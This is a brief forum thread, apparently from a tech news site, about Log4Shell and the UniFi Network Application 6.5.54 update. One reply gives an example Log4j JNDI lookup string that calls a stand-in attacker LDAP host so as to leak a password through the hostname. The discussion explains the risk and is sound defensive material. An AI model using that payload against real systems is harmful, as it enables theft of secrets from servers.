News for hackers. Stuff that matters.

A comment on UniFi Network Application 6.5.54. Parent comment

Re:UniFi Network Application 6.5.54 by nijave on Sunday December 12, 2021 @09:46PM (#29536005)
Afaik newer Java versions prevent the RCE exploit, too (you have to re-enable the LDAP/RMI functionality since it's off by default)
[ Parent | on HN ]
Re:UniFi Network Application 6.5.54 by janstice on Sunday December 12, 2021 @11:16PM (#29536541)
The RCE is prevented, but there are likely still exfiltration opportunities like "${jndi:ldap://nijave-yourpassword.blackhat.com:1389/a}" - check out https://github.com/apache/logging-log4j2/pull/608#issuecomme... for much smarter (or more devious) people than me.
[ Parent | on HN ]